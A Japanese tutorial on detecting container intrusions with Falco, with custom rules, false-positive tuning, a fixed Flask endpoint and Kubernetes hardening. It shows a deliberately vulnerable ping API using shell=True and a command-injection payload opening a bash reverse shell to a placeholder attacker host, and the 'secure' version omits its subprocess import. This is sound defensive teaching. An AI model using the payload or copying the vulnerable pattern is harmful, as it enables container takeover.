よう、お疲れ!日々の開発と運用、本当にかすり傷一つ負わずに回せているか?
「イメージスキャンも通したし、WAFも入れた。だからうちのコンテナ環境は安全だ」――もしチームの誰かがそう口にしていたら、そっと肩を叩いて、この現実を教えてあげてほしい。
「攻撃者は、我々が『静的防御』に満足して、本番環境の『動的な振る舞い』から目を離した瞬間を狙っている」とね。
脆弱性スキャンをすり抜けた未知の脆弱性(ゼロデイ)や、踏み台にされた踏み込み口(RCE:遠隔コード実行など)から侵入された後、コンテナの内部で何が起きているか。それをリアルタイムに、カーネルレベルで監視・検知するのが、今回解説する「Falco(ファルコ)」だ。
今回は、教科書通りの退屈なマニュアルをなぞる気はない。現場で実際に発生するリアルな攻撃シナリオ(PoC)をもとに、システムコールを監視するFalcoの真の実力を引き出すルール定義、そして運用者を地獄に突き落とす「誤検知(ノイズ)の嵐」をいかにスマートに手なずけるか、その極意を叩き込む。
準備はいいか?インフラ・コンテナセキュリティの「最後の砦」を構築しにいこう。
—
1. 攻撃シナリオ(PoC):脆弱なWebアプリからリバースシェルを奪取される瞬間
まずは敵を知ることから始めよう。
ここに、不適切な実装が原因で「OSコマンドインジェクション」の脆弱性を抱えた、ごく普通のWebアプリケーション(Python)があるとする。
脆弱なアプリケーションコード(Python)
例えば、ユーザーが指定したIPアドレスに ping を送信するシステムツールをイメージしてほしい。
# WARNING: これは脆弱性を含んだ最悪の実装サンプル(アンチパターン)です。
# 実務では絶対に真似しないでください。
import subprocess
from flask import Flask, request, jsonify
app = Flask(__name__)
@app.route('/api/v1/ping', methods=['POST'])
def ping_host():
# ユーザー入力を検証(サニタイズ)せずにそのままシェルに渡している
target_ip = request.json.get("ip")
# shell=True が脆弱性の温床。任意のコマンド実行(RCE)を許す
command = f"ping -c 1 {target_ip}"
try:
output = subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT, text=True)
return jsonify({"status": "success", "output": output})
except subprocess.CalledProcessError as e:
return jsonify({"status": "failed", "output": e.output}), 500
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
攻撃者によるエクスプロイト(PoC)
攻撃者はこのAPIを見つけると、ip パラメータにセミコロン ; やパイプ | を仕込み、コンテナの内部で裏口(リバースシェル)を開くコマンドを送り込んでくる。
# 攻撃者が送信する悪意あるペイロードの例
curl -X POST http://victim-app:5000/api/v1/ping \
-H "Content-Type: application/json" \
-d '{"ip": "127.0.0.1; bash -i >& /dev/tcp/attacker-ip/4444 0>&1"}'
これが実行された瞬間、コンテナの内部プロセスとして /bin/bash が起動し、攻撃者のサーバーへとコネクションがつながる。コンテナは完全に制圧され、/etc/passwd の窃取や、/tmp ディレクトリへの悪意あるスキャナーやマイニングツールのダウンロード(ファイル改ざん)が始まる。
この時、従来のネットワークIDSや静的なファイルスキャンは沈黙したままだ。なぜなら、プロセス自体は「Webアプリ(の権限)が起動したもの」であり、異常な通信も通常のWebポートや外向きのSSL通信に偽装されているからだ。
—
2. Falcoの迎撃戦術:カーネルレベルで異常を検知する
ここで登場するのが Falco だ。
Falcoはユーザー空間で動くプロセスをただ見ているわけではない。Linuxカーネルの機能である eBPF(またはカーネルモジュール)を利用して、すべてのプロセスが発行する 「システムコール(Syscall)」 をリアルタイムでキャッチしている。
攻撃者がリバースシェルを起動したとき、Linuxカーネル内では必ず以下のシステムコールが走る。
1. execve: /bin/bash や /bin/sh などのシェルプロセスを新しく起動する。
2. connect: 外部の攻撃者サーバー(IP)へソケット接続を試みる。
3. openat (書き込みモード) または unlink: /tmp や /var 以下にツールを書き込んだり、痕跡を消すためにログを削除する。
Falcoは、これらを「いつ、どのコンテナで、どの親プロセスから、どのシステムコールが呼ばれたか」というコンテキスト付きで瞬時に判定し、アラートを叩き出す。
—
3. コピペで使える「Falcoカスタムルール」の実装
では、実務で今すぐ使えるFalcoのカスタムルール定義(falco_rules.local.yaml)を書こう。
デフォルトのルールはノイズが多い。ここでは、「Webアプリコンテナ内での予期せぬシェルの起動」 と 「システムディレクトリへの怪しい書き込み」 に的を絞り、実用的なフィルタリングを施したコードを提供する。
# ==============================================================================
# Falco Custom Rules for Web Application Container Hardening
# File: /etc/falco/falco_rules.local.yaml
# ==============================================================================
# ------------------------------------------------------------------------------
# マクロ(Macros)の定義: ルールをシンプルに保つための判定パーツ
# ------------------------------------------------------------------------------
# 対象とするコンテナをWebアプリ用に限定するマクロ(検証用ラベルなどでフィルタ)
- macro: target_web_containers
condition: (container.image.repository startswith "myregistry.local/webapps/")
# 一般的なシェルプロセスの定義
- macro: shell_procs
condition: (proc.name in (shell, sh, bash, csh, zsh, ash, dash, tcsh))
# 正常な開発・運用プロセス(例:KubernetesのlivenessProbeなど)を除外するための定義
- macro: k8s_infrastructure_activities
condition: (proc.pname = "kubelet" or proc.pname = "containerd-shim")
# ------------------------------------------------------------------------------
# ルール(Rules)の定義
# ------------------------------------------------------------------------------
# ルール1: Webアプリコンテナ内での予期せぬ対話型シェルの起動を検知
- rule: Unexpected Shell Spawned in Web Container
desc: Detects a shell spawning inside web application containers, excluding infrastructure probes.
condition: >
spawned_process
and target_web_containers
and shell_procs
and not k8s_infrastructure_activities
output: >
[CRITICAL] Unexpected shell spawned inside container
(user=%user.name user_loginuid=%user.loginuid parent=%proc.pname cmdline=%proc.cmdline
container_id=%container.id image=%container.image.repository:%container.image.tag)
priority: CRITICAL
tags: [container, shell, mitre_execution]
# ルール2: Webアプリコンテナ内での書き込み禁止領域へのファイル書き込み・改ざん検知
- rule: Write to Forbidden Directory in Web Container
desc: Detects write attempts to system directories like /etc, /sbin, /usr within the container.
condition: >
open_write
and target_web_containers
and (evt.arg.name startswith "/etc/" or evt.arg.name startswith "/sbin/" or evt.arg.name startswith "/usr/")
and not proc.name in (dpkg, apk, yum, pip, npm) # パッケージマネージャによる正常なビルド時更新を除外
output: >
[WARNING] Write attempt to forbidden directory
(user=%user.name command=%proc.cmdline file=%fd.name parent=%proc.pname
container_id=%container.id image=%container.image.repository)
priority: WARNING
tags: [container, file_integrity, mitre_defense_evasion]
—
4. 現場の死活問題:誤検知(False Positive)を減らす「プロのチューニング」
Falcoを導入したエンジニアが3日で音を上げる最大の原因、それが「アラートの爆発(アラート疲労)」だ。
例えば、Kubernetes環境では、ヘルスチェック(livenessProbe / readinessProbe)が定期的にコンテナ内でコマンド(curl や mysqladmin など)を実行する。これらを愚直に検知していると、1日に数万件の「偽陽性(False Positive)」が発生し、本物の攻撃アラートが完全に埋もれてしまう。
ノイズを劇的に減らすための「3大チューニング手法」を叩き込んでおこう。
手法①: proc.pname(親プロセス名)によるホワイトリスト化
シェルを起動したのが「人間」や「脆弱性」ではなく、「コンテナオーケストレーターのデーモン」であることを証明する。
# 例:Kubelet経由の exec コマンド実行を除外する
and not proc.pname = "kubelet"
手法②: container.image のスコープ限定
すべてのコンテナに同じルールを適用するのではなく、DBコンテナ用、Webアプリコンテナ用、踏み台コンテナ用とルールを分離する。
上記のカスタムルールで定義した target_web_containers マクロがこれにあたる。本番のコンテナイメージ名やネームスペース(k8s.ns.name)でスコープを絞り込め。
手法③: 例外(Exceptions)構文の活用
Falco 0.28.0以降、ルール内に exceptions という構造化されたホワイトリストを定義できるようになった。ルール自体を汚さずにノイズを取り除くスマートな方法だ。
# 例外(Exceptions)を組み込んだルールチューニングの例
- rule: Unexpected Shell Spawned in Web Container
...
exceptions:
- name: benign_maintenance_shells
fields: [proc.pname, proc.name]
comps: [in, in]
values:
- [my-monitoring-agent, sh]
- [ansible-helper, bash]
このように構造化して例外を定義しておけば、後から「この運用ツールだけは除外したい」となった際も、チームメンバーがルール本体のロジックを壊すことなく、安全にメンテナンスできる。
—
5. アプリとインフラの双方で防御を固める
Falcoによる「検知」は極めて強力だが、あくまで「事後(あるいは進行中)の検知」だ。セキュリティの基本は「多層防御」。検知の網を張ると同時に、脆弱性そのものの修正と、コンテナの要塞化(ハーデニング)を同時に行う必要がある。
アプリケーションの修正(Pythonでの安全な実装)
先ほどの脆弱なPythonコードを、OSコマンドを実行せずに安全に処理する形に修正しよう。外部コマンドを呼び出さず、プログラミング言語のネイティブ機能や安全なライブラリを使用するのが鉄則だ。
# SECURE: 安全に実装されたリファクタリングコード
import os
import socket
from flask import Flask, request, jsonify
app = Flask(__name__)
@app.route('/api/v1/ping', methods=['POST'])
def ping_host():
target_ip = request.json.get("ip")
# 1. 徹底した入力値バリデーション(IPv4/IPv6の形式チェック)
try:
socket.getaddrinfo(target_ip, None)
except socket.gaierror:
return jsonify({"status": "failed", "message": "無効なIPアドレスまたはホスト名です"}), 400
# 2. shell=Trueを排除し、コマンドと引数を配列(リスト)で渡す
# これにより、セミコロン等のコマンドインジェクションは物理的に不可能になる
command = ["ping", "-c", "1", target_ip]
try:
# shell=False (デフォルト) で実行
output = subprocess.check_output(command, stderr=subprocess.STDOUT, text=True)
return jsonify({"status": "success", "output": output})
except subprocess.CalledProcessError as e:
return jsonify({"status": "failed", "output": e.output}), 500
インフラの要塞化(Kubernetesでのセキュリティコンテキスト設定)
攻撃者がコンテナに侵入したとしても、そもそもファイルシステムへの書き込みや、ルート権限での実行ができなければ、被害は最小限に抑えられる。Kubernetesのマニフェストに、以下の securityContext を必ず仕込んでおこう。
# Kubernetes Pod SecurityContext 設定例
apiVersion: apps/v1
kind: Deployment
metadata:
name: secure-web-app
spec:
template:
spec:
containers:
- name: web-app
image: myregistry.local/webapps/secure-ping:v1.0
securityContext:
# ルートユーザーでの実行を禁止
runAsNonRoot: true
runAsUser: 10001
# ルートファイルシステムを読み取り専用にする(ファイル改ざん・ツールのダウンロードを完全に防御)
readOnlyRootFilesystem: true
# 特権昇格を禁止
allowPrivilegeEscalation: false
# 不要な Linux Capabilities をすべて捨てる
capabilities:
drop:
- ALL
コンテナを readOnlyRootFilesystem: true に設定しておけば、攻撃者が wget で悪意あるバイナリを /tmp や /var に落とそうとした瞬間に、カーネルが書き込みを拒絶する。Falcoは、その「書き込み拒絶のシステムコールエラー」をも検知して、お前にアラートを届けてくれるわけだ。
—
まとめ:ゼロトラスト時代の「動的監視」が、チームのレジリエンス(回復力)を育てる
「侵入を防ぐ」という静的なセキュリティ思想は、すでに限界を迎えている。どれだけ堅牢に作ったシステムであっても、人間がコードを書く以上、どこかに脆弱性は潜むものだ。
だからこそ、「侵入されることを前提とし、侵入された後の異常な挙動を1秒以内に検知して封じ込める」というランタイムセキュリティの思想――すなわちFalcoの導入とチューニング――が、モダンなシステム運用において不可欠なピースになる。
今回紹介したルール定義とチューニング手法を使って、まずはステージング環境のログを静かに観察してみてほしい。驚くほど多くの「普段は見えていなかったコンテナの挙動」が可視化され、チームのセキュリティIQが一段階引き上がるはずだ。
一歩先を行くセキュアなインフラを、お前の手で組み上げてくれ。期待しているぞ!
コメント